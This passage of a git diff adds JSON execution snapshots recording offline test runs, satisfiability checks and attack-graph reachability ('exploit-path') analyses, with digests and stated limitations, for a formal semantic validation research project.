+ "source_digest": "sha256:0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "actual_outcome": "invalid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-invalid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "evidence_artifact_sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533", + "evidence_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1355-execution-v53", + "limitations": [ + "Structured rejection proves only that this bounded graph/query cannot reach its goal; it does not establish real-world non-exploitability." + ], + "replayable": true, + "result_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "source_digest": "sha256:0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + } + ], + "participant_observations": [ + { + "evidence_refs": [ + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule" + ], + "execution_id": "issue-1355-execution-v53", + "limitations": [ + "Covers the reference SDL/contract path, not every backend projection." + ], + "negative_outcome": "passed", + "obligation_id": "hidden-vs-visible-projection", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved" + ], + "execution_id": "issue-1355-execution-v53", + "limitations": [ + "Covers declared applicability and one unresolved-precondition failure." + ], + "negative_outcome": "passed", + "obligation_id": "fail-closed-action-applicability", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes" + ], + "execution_id": "issue-1355-execution-v53", + "limitations": [ + "Contract evidence does not prove every backend's live concurrency fidelity." + ], + "negative_outcome": "passed", + "obligation_id": "shared-state-effects", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality" + ], + "execution_id": "issue-1355-execution-v53", + "limitations": [ + "Rejecting timestamp-only causality does not supply counterfactual proof." + ], + "negative_outcome": "passed", + "obligation_id": "ordering-before-causality", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality" + ], + "execution_id": "issue-1355-execution-v53", + "limitations": [ + "Attribution labels disclose basis; they do not demonstrate necessity." + ], + "negative_outcome": "passed", + "obligation_id": "evidence-labeled-attribution", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record" + ], + "execution_id": "issue-1355-execution-v53", + "limitations": [ + "The fixtures establish layer separation, not outcome validity in every realization." + ], + "negative_outcome": "passed", + "obligation_id": "participant-local-outcome-separation", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "execution_id": "issue-1355-execution-v53", + "limitations": [ + "Reference conformance evidence remains bounded to declared realization profiles." + ], + "negative_outcome": "passed", + "obligation_id": "realization-profile-honesty", + "positive_outcome": "passed" + } + ], + "protocol_revision": "2.0.0", + "raes_revision": "d9c4f3d6c35b70f1fc822eeae6781352b4d45c23", + "source_state": { + "base_revision": "d9c4f3d6c35b70f1fc822eeae6781352b4d45c23", + "checkout_state": "modified", + "implementation_digest": "139b3dc25bf1a07690c7f1c63b619c12647ae1eda1fe344e98524005a0d56158", + "profile": "python-reference-source/v2" + }, + "versions": { + "python": "3.12.3", + "raes": "5.0.0", + "z3_engine": "4.16.0", + "z3_solver": "4.16.0.0" + } +} diff --git a/docs/research/formal-semantic-validation/execution-snapshot-v54.json b/docs/research/formal-semantic-validation/execution-snapshot-v54.json new file mode 100644 index 000000000..a596fb044 --- /dev/null +++ b/docs/research/formal-semantic-validation/execution-snapshot-v54.json @@ -0,0 +1,652 @@ +{ + "baseline": { + "execution_id": "issue-1355-execution-v53", + "release_path": "docs/research/formal-semantic-validation/bundles/retest-v53.json", + "release_revision": "54.0.0", + "release_sha256": "7fa2067b559fcf8ae85428316e17c32d94f0de4ea3d211fadcf345108847eb84" + }, + "captured_at": "2026-09-26T03:03:34.214257+00:00", + "commands": [ + { + "argv": [ + "implementations/python/.venv/bin/python", + "tools/check_formal_semantic_validation.py" + ], + "command_id": "bundle-replay", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/pytest", + "-q", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record", + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "command_id": "participant-fixtures", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-satisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-unsatisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-valid-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-invalid-v2", + "network": "disabled" + } + ], + "configuration_id": "raes-python-reference-offline-v41", + "corpus_revision": "4.0.0", + "deviations": [], + "execution_id": "issue-1389-execution-v54", + "execution_status": "complete", + "observations": [ + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "schema-valid-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml" + ], + "execution_id": "issue-1389-execution-v54", + "limitations": [ + "A passing minimal source does not establish semantic correctness." + ], + "replayable": true, + "result_digest": "f7d364ef384df8a1526b489501835b635021c860793b5764f91d956710d2250c", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "schema-unknown-field", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLParseError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml" + ], + "execution_id": "issue-1389-execution-v54", + "limitations": [ + "The observation covers one unknown-field defect only." + ], + "replayable": true, + "result_digest": "f55d834b458f8e069e1c69061b4cc0a6d61e0e052bf90c670f2e6a5ad8b5bd98", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "semantic-resolved-objective", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-valid-participant-identity-v2.sdl.yaml" + ], + "execution_id": "issue-1389-execution-v54", + "limitations": [ + "This is a positive control for one objective-reference slice." + ], + "replayable": true, + "result_digest": "652288785dc09095955ed3649f6407d616fb7c4d4f4188df4ed513ccb7537e0b", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-dangling-assertion", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref-participant-identity-v2.sdl.yaml" + ], + "execution_id": "issue-1389-execution-v54", + "limitations": [ + "A single dangling reference does not prove complete semantic coverage." + ], + "replayable": true, + "result_digest": "0207cf616b56708ca9b8c4499d3301abe22dbe52162cf8d58d3bec429d9db024", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-ambiguous-reference", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml" + ], + "execution_id": "issue-1389-execution-v54", + "limitations": [ + "One namespace collision does not enumerate every ambiguity surface." + ], + "replayable": true, + "result_digest": "9da4a87797d228e0012ab6b30459f4892e41aa6f224a9840be035fee4a2eea73", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-feature-cycle", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml" + ], + "execution_id": "issue-1389-execution-v54", + "limitations": [ + "One static dependency cycle does not establish general constraint satisfiability." + ], + "replayable": true, + "result_digest": "d15dbcd99fb4f20b965d7031b07dd6534576302270399c3fa656d29e7de02b83", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "workflow-reachable-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml" + ], + "execution_id": "issue-1389-execution-v54", + "limitations": [ + "The graph is workflow control flow only." + ], + "replayable": true, + "result_digest": "b1b49649b54bd59d4ef357b39cf9158da90f4eae560f8dd756acf97bd0827a06", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "workflow-unreachable-step", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml" + ], + "execution_id": "issue-1389-execution-v54", + "limitations": [ + "The result does not establish network, service, participant, or exploit reachability." + ], + "replayable": true, + "result_digest": "bb931d19346ef9193408ae6c85deb4079704378fc5f00dc5f47a2817cff21943", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-satisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1389-execution-v54", + "limitations": [ + "No governed whole-scenario constraint theory or solver exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-unsatisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1389-execution-v54", + "limitations": [ + "Local checks cannot produce a whole-scenario unsat certificate." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "valid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1389-execution-v54", + "limitations": [ + "The issue-168 baseline had no canonical typed attack graph or path-query entrypoint." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "invalid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1389-execution-v54", + "limitations": [ + "Vulnerability and topology declarations are not an invalid-path proof." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "stable", + "analysis_profile": null, + "case_id": "compile-repeatability-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml" + ], + "execution_id": "issue-1389-execution-v54", + "limitations": [ + "The witness ends at compiled output." + ], + "replayable": true, + "result_digest": "11264a648a949917c0e84a2a1e5d116139a35e6cb941844735a422df95141d6c", + "source_digest": null + }, + { + "actual_outcome": "distinguishable", + "analysis_profile": null, + "case_id": "compile-non-vacuity-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml" + ], + "execution_id": "issue-1389-execution-v54", + "limitations": [ + "Distinct digests are a non-vacuity control, not semantic non-equivalence proof." + ], + "replayable": true, + "result_digest": "72c1ee8c7bbc1f970216fa232b3d4ae917bcb003bd823439bbac8a5db94214e2", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "necessity-witness-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1389-execution-v54", + "limitations": [ + "No governed intervention or ablation protocol exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "non-necessity-control-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1389-execution-v54", + "limitations": [ + "Attribution and negative fixtures do not demonstrate non-necessity." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "satisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-satisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "evidence_artifact_sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add", + "evidence_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1389-execution-v54", + "limitations": [ + "Demonstrates only the pinned finite-domain theory, translation, solver profile, and source." + ], + "replayable": true, + "result_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "source_digest": "sha256:0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "actual_outcome": "unsatisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-unsatisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "evidence_artifact_sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d", + "evidence_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1389-execution-v54", + "limitations": [ + "The subset-minimal core is evidence for the pinned translation and solver, not a proof certificate for arbitrary SDL." + ], + "replayable": true, + "result_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "source_digest": "sha256:cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "actual_outcome": "valid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-valid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "evidence_artifact_sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c", + "evidence_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1389-execution-v54", + "limitations": [ + "The witness is bounded to the admitted snapshot, normalized graph, query, semantics, and search profile; it does not establish backend execution." + ], + "replayable": true, + "result_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "source_digest": "sha256:0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "actual_outcome": "invalid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-invalid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "evidence_artifact_sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533", + "evidence_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1389-execution-v54", + "limitations": [ + "Structured rejection proves only that this bounded graph/query cannot reach its goal; it does not establish real-world non-exploitability." + ], + "replayable": true, + "result_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "source_digest": "sha256:0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + } + ], + "participant_observations": [ + { + "evidence_refs": [ + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule" + ], + "execution_id": "issue-1389-execution-v54", + "limitations": [ + "Covers the reference SDL/contract path, not every backend projection." + ], + "negative_outcome": "passed", + "obligation_id": "hidden-vs-visible-projection", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved" + ], + "execution_id": "issue-1389-execution-v54", + "limitations": [ + "Covers declared applicability and one unresolved-precondition failure." + ], + "negative_outcome": "passed", + "obligation_id": "fail-closed-action-applicability", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes" + ], + "execution_id": "issue-1389-execution-v54", + "limitations": [ + "Contract evidence does not prove every backend's live concurrency fidelity." + ], + "negative_outcome": "passed", + "obligation_id": "shared-state-effects", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality" + ], + "execution_id": "issue-1389-execution-v54", + "limitations": [ + "Rejecting timestamp-only causality does not supply counterfactual proof." + ], + "negative_outcome": "passed", + "obligation_id": "ordering-before-causality", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality" + ], + "execution_id": "issue-1389-execution-v54", + "limitations": [ + "Attribution labels disclose basis; they do not demonstrate necessity." + ], + "negative_outcome": "passed", + "obligation_id": "evidence-labeled-attribution", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record" + ], + "execution_id": "issue-1389-execution-v54", + "limitations": [ + "The fixtures establish layer separation, not outcome validity in every realization." + ], + "negative_outcome": "passed", + "obligation_id": "participant-local-outcome-separation", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "execution_id": "issue-1389-execution-v54", + "limitations": [ + "Reference conformance evidence remains bounded to declared realization profiles." + ], + "negative_outcome": "passed", + "obligation_id": "realization-profile-honesty", + "positive_outcome": "passed" + } + ], + "protocol_revision": "2.0.0", + "raes_revision": "023ff5b28f68105cd85bdeebc75427ad85f22227", + "source_state": { + "base_revision": "023ff5b28f68105cd85bdeebc75427ad85f22227", + "checkout_state": "modified", + "implementation_digest": "621660dce2c3fb4bfd3123801cec95a18c6bf2e983b80b3e6126eb8e4667c270", + "profile": "python-reference-source/v2" + }, + "versions": { + "python": "3.14.4", + "raes": "5.0.0", + "z3_engine": "4.16.0", + "z3_solver": "4.16.0.0" + } +} diff --git a/docs/research/formal-semantic-validation/execution-snapshot-v55.json b/docs/research/formal-semantic-validation/execution-snapshot-v55.json new file mode 100644 index 000000000..079465dce --- /dev/null +++ b/docs/research/formal-semantic-validation/execution-snapshot-v55.json @@ -0,0 +1,652 @@ +{ + "baseline": { + "execution_id": "issue-1389-execution-v54", + "release_path": "docs/research/formal-semantic-validation/bundles/retest-v54.json", + "release_revision": "55.0.0", + "release_sha256": "89591fe7e90a57a5d6047eb442171a6c1b1fdac7e5cf13ef458a374dd0a54398" + }, + "captured_at": "2026-09-27T18:30:54.525687+00:00", + "commands": [ + { + "argv": [ + "implementations/python/.venv/bin/python", + "tools/check_formal_semantic_validation.py" + ], + "command_id": "bundle-replay", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/pytest", + "-q", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + 